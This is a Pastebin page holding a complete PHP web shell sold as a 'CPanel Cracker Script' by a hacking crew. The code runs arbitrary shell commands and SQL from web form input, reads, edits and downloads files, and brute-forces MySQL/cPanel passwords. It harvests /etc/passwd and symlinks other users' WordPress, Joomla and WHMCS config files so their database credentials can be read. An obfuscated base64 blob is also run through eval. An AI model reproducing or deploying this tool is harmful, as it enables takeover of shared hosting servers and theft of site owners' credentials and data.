API tools faq
paste
priv8shop

CPanel Cracker Script & Root Server 2015

priv8shop
Nov 24th, 2015
1,488
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 29.45 KB | None | 0 0
raw download clone embed print report
  1. <html>
  2.  <title>priv8shop.biz CPanel Cracker Script & Root Server...|</title>
  3.  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  4.     <img src="http://ww3s.ws/TR/HTML5/CSS3/fsocity.jpg"  height="0" width="0">
  5.  
  6. <?php
  7. /***************iz****************\
  8. /** Website: www.priv8shop.biz    \
  9. /** Email: [email protected] \
  10. /*********************************\
  11.     @set_time_limit(0);
  12.     @error_reporting(0);
  13.  
  14.  
  15.     echo '<head>
  16.  
  17.   <style type="text/css">
  18. body {
  19. background-color:#000000;
  20. background-image:url("http://im50.gulfup.com/xbcqHf.png");
  21. background-repeat:repeat;
  22. margin-top:20px;
  23. font-family:"Agency FB";
  24. font-size:12pt; color:#ffffff;
  25.     }
  26.     input,textarea,select{
  27.     font-weight: bold;
  28.     color: #cccccc;
  29.     dashed #ffffff;
  30.     border: 1px
  31.     solid #2C2C2C;
  32.     background-color: #080808
  33.     }
  34.     a {
  35.         background-color: #151515;
  36.         vertical-align: bottom;
  37.         color: #000;
  38.         text-decoration: none;
  39.         font-size: 20px;
  40.         margin: 8px;
  41.         padding: 6px;
  42.         border: thin solid #000;
  43.     }
  44.     a:hover {
  45.         background-color: #080808;
  46.         vertical-align: bottom;
  47.         color: #333;
  48.         text-decoration: none;
  49.         font-size: 20px;
  50.         margin: 8px;
  51.         padding: 6px;
  52.         border: thin solid green;
  53.     }
  54.     .style1 {
  55.         text-align: center;
  56.         color: Green;
  57.     }
  58.     .style2 {
  59.         color: Green;
  60.         font-weight: bold;
  61.             }
  62.     .style3 {
  63.         color: Green;
  64.             }
  65.     -->
  66.     </style>
  67.  
  68.     </head>
  69.     ';
  70.  
  71. $Getconfig = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
  72. eval(base64_decode($Getconfig));
  73.  
  74.     function in($type,$name,$size,$value,$checked=0)
  75.      {
  76.      $ret = "<input type=".$type." name=".$name." "; if($size != 0)
  77.      {
  78.      $ret .= "size=".$size." "; }
  79.      $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
  80.  
  81.     class my_sql
  82.      {
  83.      var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect()
  84.      {
  85.      switch($this->db)
  86.      {
  87.      case 'MySQL': if(empty($this->port))
  88.      {
  89.      $this->port = '3306'; }
  90.      if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port))
  91.      {
  92.      $this->port = '1433'; }
  93.      if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port))
  94.      {
  95.      $this->port = '5432'; }
  96.      $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
  97.      return 0; }
  98.      function select_db()
  99.      {
  100.      switch($this->db)
  101.      {
  102.      case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
  103.      return 0; }
  104.      function query($query)
  105.      {
  106.      $this->res=$this->error=''; switch($this->db)
  107.      {
  108.      case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  109.      {
  110.      $this->error = @mysql_error($this->connection); return 0; }
  111.      else if(is_resource($this->res))
  112.      {
  113.      return 1; }
  114.      return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection)))
  115.      {
  116.      $this->error = 'Query error'; return 0; }
  117.      else if(@mssql_num_rows($this->res) > 0)
  118.      {
  119.      return 1; }
  120.      return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query)))
  121.      {
  122.      $this->error = @pg_last_error($this->connection); return 0; }
  123.      else if(@pg_num_rows($this->res) > 0)
  124.      {
  125.      return 1; }
  126.      return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query)))
  127.      {
  128.      $this->error = 'Query parse error'; }
  129.      else
  130.      {
  131.      if(@ociexecute($this->res))
  132.      {
  133.      if(@ocirowcount($this->res) != 0) return 2; return 1; }
  134.      $error = @ocierror(); $this->error=$error['message']; }
  135.      break; }
  136.      return 0; }
  137.      function get_result()
  138.      {
  139.      $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db)
  140.      {
  141.      case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
  142.      {
  143.     $this->columns = @array_keys($this->rows[0]); return 1;}
  144.      break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
  145.      {
  146.     $this->columns = @array_keys($this->rows[0]); return 1;}
  147.     ; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
  148.      {
  149.     $this->columns = @array_keys($this->rows[0]); return 1;}
  150.      break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
  151.      {
  152.     $this->columns = @array_keys($this->rows[0]); return 1;}
  153.      break; }
  154.      return 0; }
  155.      function dump($table)
  156.      {
  157.      if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '##    Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db)
  158.      {
  159.      case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  160.      {
  161.      foreach($this->rows[$i] as $k=>$v)
  162.      {
  163.     $this->rows[$i][$k] = @mysql_real_escape_string($v);}
  164.      $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  165.      break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  166.      {
  167.      foreach($this->rows[$i] as $k=>$v)
  168.      {
  169.     $this->rows[$i][$k] = @addslashes($v);}
  170.      $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  171.      break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  172.      {
  173.      foreach($this->rows[$i] as $k=>$v)
  174.      {
  175.     $this->rows[$i][$k] = @addslashes($v);}
  176.      $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  177.      break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
  178.      return 1; }
  179.      function close()
  180.      {
  181.      switch($this->db)
  182.      {
  183.      case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
  184.      }
  185.      function affected_rows()
  186.      {
  187.      switch($this->db)
  188.      {
  189.      case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
  190.      }
  191.      }
  192.      if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name']))
  193.      {
  194.      if(!$file=@fopen($_POST['d_name'],"r"))
  195.      {
  196.      err(1,$_POST['d_name']); $_POST['cccc']=""; }
  197.      else
  198.      {
  199.      @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding))
  200.      {
  201.      header('Content-Encoding: ' . $content_encoding); }
  202.      header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
  203.      }
  204.      if(isset($_GET['phpinfo']))
  205.      {
  206.      echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  207.      if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query")
  208.      {
  209.      echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
  210.      {
  211.      if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
  212.      {
  213.      foreach($querys as $num=>$query)
  214.      {
  215.      if(strlen($query)>5)
  216.      {
  217.      echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query))
  218.      {
  219.      case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result())
  220.      {
  221.      echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++)
  222.      {
  223.      foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; }
  224.      echo "</table>"; }
  225.      break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
  226.      }
  227.      }
  228.      }
  229.      }
  230.      echo "<br><title>1962Cracker By Akram Stelle</title><form name=form method=POST>";
  231.      echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query');
  232.      echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.     function ccmmdd($ccmmdd2,$att)
  257.     {
  258.     global $ccmmdd2,$att;
  259.     echo '
  260.     <table style="width: 100%" class="style1" dir="rtl">
  261.         <tr>
  262.             <td class="style9"><strong>???H?/strong></td>
  263.         </tr>
  264.         <tr>
  265.             <td class="style13">
  266.                     <form method="post">
  267.                         <select name="att" dir="rtl" style="height: 109px" size="6">
  268.     ';
  269.     if($_POST['att']==null)
  270.     {
  271.     echo '                      <option value="system" selected="">system</option>';
  272.     }else{
  273.     echo "                      <option value='$_POST[att]' selected=''>$_POST[att]</option>
  274.                             <option value=system>system</option>
  275.     ";
  276.  
  277.  
  278.     }
  279.  
  280.     echo '
  281.                             <option value="passthru">passthru</option>
  282.                             <option value="exec">exec</option>
  283.                             <option value="shell_exec">shell_exec</option>
  284.                         </select>
  285.                             <input name="page" value="ccmmdd" type="hidden"><br>
  286.                             <input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
  287.                             <input type="submit" value="???>
  288.                     </form>
  289.  
  290.             </td>
  291.         </tr>
  292.         <tr>
  293.             <td class="style13">
  294.     ';
  295.  
  296.             if($_POST[att]=='system')
  297.             {
  298.     echo '
  299.                         <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  300.                         system($_POST['ccmmdd2']);
  301.     echo '                  </textarea>';
  302.  
  303.  
  304.             }
  305.  
  306.             if($_POST[att]=='passthru')
  307.             {
  308.     echo '
  309.                         <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  310.                         passthru($_POST['ccmmdd2']);
  311.     echo '                  </textarea>';
  312.  
  313.  
  314.             }
  315.  
  316.  
  317.  
  318.  
  319.  
  320.             if($_POST[att]=='exec')
  321.             {
  322.  
  323.     echo '                  <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  324.                         exec($_POST['ccmmdd2'],$res);
  325.                     echo $res = join("\n",$res);
  326.     echo '                  </textarea>';
  327.  
  328.  
  329.             }
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.  
  337.             if($_POST[att]=='shell_exec')
  338.             {
  339.  
  340.     echo '                  <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  341.                     echo    shell_exec($_POST['ccmmdd2']);
  342.     echo '                  </textarea>';
  343.  
  344.  
  345.             }
  346.     echo '
  347.             </td>
  348.         </tr>
  349.     </table>
  350.     ';
  351.  
  352.     exit;
  353.     }
  354.  
  355.     if($_POST['page']=='edit')
  356.     {
  357.  
  358.     $code=@str_replace("\r\n","\n",$_POST['code']);
  359.     $code=@str_replace('\\','',$code);
  360.     $fp = fopen($pathclass, 'w');
  361.     fwrite($fp,"$code");
  362.     fclose($fp);
  363.     echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  364.     exit;
  365.     }
  366.  
  367.  
  368.  
  369.  
  370.  
  371.  
  372.  
  373.         if($_POST['page']=='show')
  374.         {
  375.         $pathclass =$_POST['pathclass'];
  376.     echo '
  377.     <form method="POST">
  378.     <input type="hidden" name="page" value="edit">
  379.     ';
  380.  
  381.         $sahacker = fopen($pathclass, "rb");
  382.     echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">';
  383.     $code = fread($sahacker, filesize($pathclass));
  384.     echo $code =htmlspecialchars($code);
  385.     echo '</textarea>';
  386.         fclose($sahacker);
  387.     echo '
  388.     <br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
  389.     <br><strong><input type="submit" value="edit file">
  390.     </form>
  391.     ';
  392.             exit;
  393.         }
  394.  
  395.  
  396.  
  397.  
  398.         if($_POST['page']=='ccmmdd')
  399.         {
  400.         echo ccmmdd($ccmmdd2,$att);
  401.         exit;
  402.         }
  403.  
  404.  
  405.  
  406.  
  407.  
  408.  
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.  
  426.  
  427.     if($_POST['page']=='find')
  428.     {
  429.     if(isset($_POST['usernames']) && isset($_POST['passwords']))
  430.     {
  431.             if($_POST['type'] == 'passwd'){
  432.                     $e = explode("\n",$_POST['usernames']);
  433.                     foreach($e as $value){
  434.                     $k = explode(":",$value);
  435.                     $username .= $k['0']." ";
  436.                     }
  437.             }elseif($_POST['type'] == 'simple'){
  438.                     $username = str_replace("\n",' ',$_POST['usernames']);
  439.             }
  440.             $a1 = explode(" ",$username);
  441.             $a2 = explode("\n",$_POST['passwords']);
  442.             $id2 = count($a2);
  443.             $ok = 0;
  444.             foreach($a1 as $user )
  445.             {
  446.                     if($user !== '')
  447.                     {
  448.                     $user=trim($user);
  449.                      for($i=0;$i<=$id2;$i++)
  450.                      {
  451.                             $pass = trim($a2[$i]);
  452.                             if(@mysql_connect('localhost',$user,$pass))
  453.                             {
  454.                                     echo "1962Cracker~ user is ==> (<b><font color=green>$user</font></b>) Password is ==> (<b><font color=red>$pass</font></b>)<br />";
  455.                                     $ok++;
  456.                             }
  457.                      }
  458.                     }
  459.             }
  460.             echo "<hr><b>You Found <font color=green>$ok</font> cPanel (1962Cracker)</b>";
  461.             echo "<center><b><a href=".$_SERVER['PHP_SELF']."><~ BACK</a>";
  462.             exit;
  463.     }
  464.     }
  465.  
  466.  
  467.  ?>
  468.  
  469. <table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
  470.  
  471.  
  472. <td height="10" align="left" class="td1"></td></tr><tr><td
  473. width="100%" align="center" valign="top" rowspan="1"><font
  474. color="red" face="comic sans ms"size="1"><b>
  475. <font color=#ff9933>
  476. </font><br><font color=white>--==[[Greetz to]]==--</font><br><font color=#ff9933>-=| My Gril :3|=-<br>
  477.  
  478. </table>
  479. </table> <div align=center><font color=#ff9933 font size=5><marquee behavior="scroll" direction="left" scrollamount="2" scrolldelay="30" width="70%">
  480.  
  481. <span class="footerlink"> ####### Coded By KrimOu #######</span>
  482.  
  483. </marquee><br></font></div><div align=center><table width=50%>
  484.  
  485.  <form method="POST" target="_blank">
  486.   <strong>
  487.    <input name="page" type="hidden" value="find">
  488.    </strong>
  489.    <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
  490.    <tr>
  491.      <td valign="top" bgcolor="#151515"><center><strong><img src="http://im58.gulfup.com/Ufq2FO.jpg" /><br>
  492.    </strong>
  493.    <a href="https://www.facebook.com/krimoudz07" class="style2"><strong>KrimOu CPanelCracker Script</strong></a></center></td>
  494.    </tr>
  495.    <tr>
  496.    <td>
  497.    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  498.    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  499.   <strong>User :</strong></td>
  500.    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="usernames"></textarea></strong></td>
  501.    </tr>
  502.    <tr>
  503.    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  504.   <strong>Pass :</strong></td>
  505.    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="passwords"></textarea></strong></td>
  506.    </tr>
  507.  
  508.    <tr>
  509.    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  510.   <strong>Type :</strong></td>
  511.    <td valign="top" bgcolor="#151515" colspan="5">
  512.    <span class="style2"><strong>Simple : </strong> </span>
  513.   <strong>
  514.   <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  515.    <font class="style2"><strong>/etc/passwd : </strong> </font>
  516.   <strong>
  517.   <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  518.   </span>
  519.    </td>
  520.    </tr>
  521.    <tr>
  522.    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  523.    <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="start">
  524.  
  525.    </td>
  526.    <tr>
  527.  </form>
  528.  
  529.   <tr>
  530.    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Config Zone</strong></td>
  531.        </tr>
  532.     <tr>
  533.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Get User & Config</strong></td>
  534.    <td valign="top" bgcolor="#151515" colspan="5">
  535.   <strong>
  536. <form method=post>
  537. <input type=submit name="usre" value="Get Usernames & Config !" /></form>
  538.  
  539.  
  540.  
  541.  
  542. <?php
  543. if(isset($_POST['usre'])){
  544. ?><form method=post>
  545. <textarea rows=10 cols=30 name=user><?php $users=file("/etc/passwd");
  546. foreach($users as $user)
  547. {
  548. $str=explode(":",$user);
  549. echo $str[0]."\n";
  550. }
  551.  
  552. ?></textarea><br><br>
  553. <input type=submit name=su value=" Get Configuration Files :)" /></form>
  554. <?php } ?>
  555. <?php
  556. error_reporting(0);
  557. echo "<font color=red size=2 face=\"comic sans ms\">";
  558. if(isset($_POST['su']))
  559. {
  560.  
  561. $dir=mkdir('dzmafia',0777);
  562. $r = " Options all \n DirectoryIndex dz.html \n Require None \n Satisfy Any";
  563. $f = fopen('dzmafia/.htaccess','w');
  564.  
  565. fwrite($f,$r);
  566. $consym="<a href=dzmafia/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
  567. echo "<br>folder where config files has been symlinked By The 1962 Script Coded By Akram Stelle (Dz Mafia Team)<br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
  568.  
  569. $usr=explode("\n",$_POST['user']);
  570.  
  571. foreach($usr as $uss )
  572. {
  573. $us=trim($uss);
  574.  
  575. $r="dzmafia/";
  576. symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wp-config');
  577. symlink('/home/'.$us.'/public_html/wordpress/wp-config.php',$r.$us.'..word-wp');
  578. symlink('/home/'.$us.'/public_html/blog/wp-config.php',$r.$us.'..wpblog');
  579. symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs');
  580. symlink('/home/'.$us.'/public_html/joomla/configuration.php',$r.$us.'..joomla');
  581. symlink('/home/'.$us.'/public_html/vb/includes/config.php',$r.$us.'..vbinc');
  582. symlink('/home/'.$us.'/public_html/includes/config.php',$r.$us.'..vb');
  583. symlink('/home/'.$us.'/public_html/conf_global.php',$r.$us.'..conf_global');
  584. symlink('/home/'.$us.'/public_html/inc/config.php',$r.$us.'..inc');
  585. symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..config');
  586. symlink('/home/'.$us.'/public_html/Settings.php',$r.$us.'..Settings');
  587. symlink('/home/'.$us.'/public_html/sites/default/settings.php',$r.$us.'..sites');
  588. symlink('/home/'.$us.'/public_html/whm/configuration.php',$r.$us.'..whm');
  589. symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs');
  590. symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs');
  591. symlink('/home/'.$us.'/public_html/whmc/WHM/configuration.php',$r.$us.'..WHM');
  592. symlink('/home/'.$us.'/public_html/whm/WHMCS/configuration.php',$r.$us.'..whmc');
  593. symlink('/home/'.$us.'/public_html/whm/whmcs/configuration.php',$r.$us.'..WHMcs');
  594. symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..whmcsupp');
  595. symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-cli');
  596. symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-cl');
  597. symlink('/home/'.$us.'/public_html/clientes/configuration.php',$r.$us.'..whmcs-CL');
  598. symlink('/home/'.$us.'/public_html/cliente/configuration.php',$r.$us.'..whmcs-Cl');
  599. symlink('/home/'.$us.'/public_html/clientsupport/configuration.php',$r.$us.'..whmcs-csup');
  600. symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-bill');
  601. symlink('/home/'.$us.'/public_html/admin/config.php',$r.$us.'..admin-conf');
  602. }
  603. }
  604. ?>
  605.  
  606.     </tr>
  607.  
  608.    <td valign="top" colspan="6"><strong></strong></td>
  609.  
  610.  <form method="POST" target="_blank">
  611.  <strong>
  612.  <input type="hidden" name="go" value="cmd_mysql">
  613.     </strong>
  614.     <tr>
  615.    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>CMD MYSQL</strong></td>
  616.        </tr>
  617.     <tr>
  618.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>user</strong></td>
  619.    <td valign="top" bgcolor="#151515"><strong><input name="mysql_l" type="text"></strong></td>
  620.    <td valign="top" bgcolor="#151515"><strong>pass</strong></td>
  621.    <td valign="top" bgcolor="#151515"><strong><input name="mysql_p" type="text"></strong></td>
  622.    <td valign="top" bgcolor="#151515"><strong>database</strong></td>
  623.    <td valign="top" bgcolor="#151515"><strong><input name="mysql_db" type="text"></strong></td>
  624.        </tr>
  625.       <tr>
  626.    <td valign="top" bgcolor="#151515" style="height: 25px; width: 139px;">
  627.   <strong>cmd ~</strong></td>
  628.    <td valign="top" bgcolor="#151515" colspan="5" style="height: 25px">
  629.   <strong>
  630.   <textarea name="db_query" style="width: 353px; height: 89px">SHOW DATABASES;
  631.  SHOW TABLES user_vb ;
  632.  SELECT * FROM user;
  633.  SELECT version();
  634.  SELECT user();</textarea></strong></td>
  635.     </tr>
  636.    <tr>
  637.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong></strong></td>
  638.    <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="run"></strong></td>
  639.     </tr>
  640.  <input name="db" value="MySQL" type="hidden">
  641.  <input name="db_server" type="hidden" value="localhost">
  642.  <input name="db_port" type="hidden" value="3306">
  643.  <input name="cccc" type="hidden" value="db_query">
  644.  
  645.  </form>
  646.    <tr>
  647.    <td valign="top" bgcolor="#151515" colspan="6"><strong></strong></td>
  648.  
  649.  
  650.    </tr>
  651.  
  652.  <form method="POST" target="_blank">
  653.    <tr>
  654.    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>CMD
  655.   system - passthru - exec - shell_exec</strong></td>
  656.        </tr>
  657.    <tr>
  658.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>cmd ~</strong></td>
  659.    <td valign="top" bgcolor="#151515" colspan="5">
  660.       <select name="att" dir="rtl"  size="1">
  661. <?php
  662.  if($_POST['att']==null)
  663.  {
  664.  echo '      <option value="system" selected="">system</option>';
  665.  }else{
  666.  echo "      <option value='$_POST[att]' selected=''>$_POST[att]</option>
  667.       <option value=system>system</option>
  668. ";
  669.  
  670.  
  671.  }
  672. ?>
  673.  
  674.        <option value="passthru">passthru</option>
  675.        <option value="exec">exec</option>
  676.        <option value="shell_exec">shell_exec</option>
  677.       </select>
  678.    <strong>
  679.  <input name="page" type="hidden" value="ccmmdd">
  680.   <input name="ccmmdd2" type="text" style="width: 284px" value="ls -la"></strong></td>
  681.     </tr>
  682.    <tr>
  683.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong></strong></td>
  684.    <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Go"></strong></td>
  685.     </tr>
  686.  </form>
  687.  
  688.  <form method="POST" target="_blank">
  689.  
  690.    <tr>
  691.    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Show
  692.   File And Edit</strong></td>
  693.        </tr>
  694.    <tr>
  695.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Path ~</strong></td>
  696.    <td valign="top" bgcolor="#151515" colspan="5">
  697.   <strong>
